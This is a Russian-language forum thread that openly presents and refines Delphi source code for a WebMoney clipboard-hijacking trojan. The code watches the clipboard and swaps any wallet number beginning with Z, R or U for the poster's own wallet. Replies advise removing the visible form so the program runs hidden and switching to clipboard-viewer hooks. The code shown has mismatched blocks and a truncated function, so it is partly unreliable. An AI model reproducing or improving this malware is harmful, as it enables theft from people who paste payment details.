WebMoney Троян своими руками

  1. Как то видел проги которые подменивают в буфере обмена текст для.... думаю сами знaете для чего

    Статья написана в чисто образовательных целях


    На форму кинем Timer назавем его Timer1

    Теперь в uses пропишем Clipbrd;
    он нам нужен что бы отслеживать наш буфер обмена.
    Поставь у таймера интервал в 1 миллсекунду, я думаю точно не прогадаешь)

    Теперь создадим процедуру обработчик Timer1.OnTimer (два раза клацни по таймеру)
    и впишем туда:
    Код:
    var s:string; //Объявим одну переменную
    begin
      s:=Clipboard.AsText; //Присаеваем "S" текст буфера
     if Length(s)=13 then //Если длина текста буфера равна 13 (длина номера кошелька) 
     begin //то начинаем проверки
       if Copy(s,1,1)='Z'  //если первый текст буфера обмена равен "Z" то 
    then  
    Clipboard.SetTextBuf('Z123456789 ©k0d.cc');  //Устанаваливам свой текст!
     end;
     if Copy(s,1,1)='R'  //если первый текст буфера обмена равен "R" то 
    then  
    Clipboard.SetTextBuf('R123456789 ©k0d.cc');  //Устанаваливам свой текст!
     end;
     if Copy(s,1,1)='U'  //если первый текст буфера обмена равен "U" то 
    then  
    Clipboard.SetTextBuf('U123456789 ©k0d.cc');  //Устанаваливам свой текст!
     end;
     ShowMessage('Будьте внимательны вас пытаются обмануть :)   ©k0d.cc 2010')
    end;
    Вот таким кодом можно подменивать буфер обмена




    ©CraftR14
     
    3 пользователям это понравилось.
  2. задумка хорошая, только надо форму прятать. А оно не будит систему тормозить из-за постоянной работы таймера?
     
  3. Форму прятать? рофл а может лучше без формы вообще? :)
    снеси на хрен форму и все...

    если будеш делать про таймер
    там же идет обработка ЕСЛИ а если нет то не чего не делает да даже если ты будеш каждый раз в буффере фигачится с Z123456789012 R123456789012 то прога спокойно без усилий будет все делать.
     
  4. Кхм... Мои 5 копеечек...)))

    1. Copy(str, index, count), c случае "1, 1" чем-то предпочтительнее, чем str[1]? На мой не искушенный вкус, работает это куда шустрее, конечно, с учетом , что в начале идет проверка, что длина строки > 0. В данном случае 13...)
    2. Таймер это вообще вынос...
    RTFM, RTFM, RTFM (c)
    SetClipboardViewer и WM_DRAWCLIPBOARD
     
  5. да, есть много подходов :) можно вообще вырубить clipbrd и делать по другому , но думаю для обучения и этого хватит.
     
  6. CraftR14,
    лучше накатай полный пример работы с буфером, думаю куда полезней будет
     
  7. _http://programmersforum.ru/showpost.php?p=320998&postcount=2

    тут кое что есть _http://www.delphisources.ru/pages/faq/base/work_with_clipboard_like_bytes.html
     
  8. К чему эти ссылки не осилил... Поиск по слову SetClipboardViewer и просто Clipboard Delphi?
     
  9. нет :)
     
  10. С таймером конечно глупости )

    - Ну и что всподвигло тебя на эти глупости?
    - ... Маладой.

    Добавлено через 8 минут
    Вообще на статью не очень похоже...
     
    1 человеку нравится это.
  11. Это всего лишь заметки
    какие глупости пфффф уже напишеш что нибудь так все б... мАлАдой пфф убиваете

    оке лучше не буду писать. а то опять что нить не так.
     
    1 человеку нравится это.
  12. CraftR14, пиши) не слушай камрадов! (но прислушивайся:))
     
    1 человеку нравится это.
  13. крафтэ вернулсо с новой функцией)
    Код:
    function GetClipboardText(Wnd: HWND; var Str: string): Boolean;
    var
      hData: HGlobal;
    begin
      Result := True;
      if OpenClipboard(Wnd) then
      begin
        try
          hData := GetClipboardData(CF_TEXT);
          if hData <> 0 then
          begin
            try
              SetString(Str, PChar(GlobalLock(hData)), GlobalSize(hData));
            finally
              GlobalUnlock(hData);
            end;
          end
          else
            Result := False;
          Str := PChar(@Str[1]);
        finally
          CloseClipboard;
        end;
      end
      else
        Result
    
     
  14. Как удалить форму ?
     
  15. На панели инструментов, жмете кнопку (с минусом) и названием "Remove file from project". Удаляете оттуда файл Unit1.pas, затем создаете модульный файл:
    File -> New -> Unit
    Сохраняете проект.
     
    1 человеку нравится это.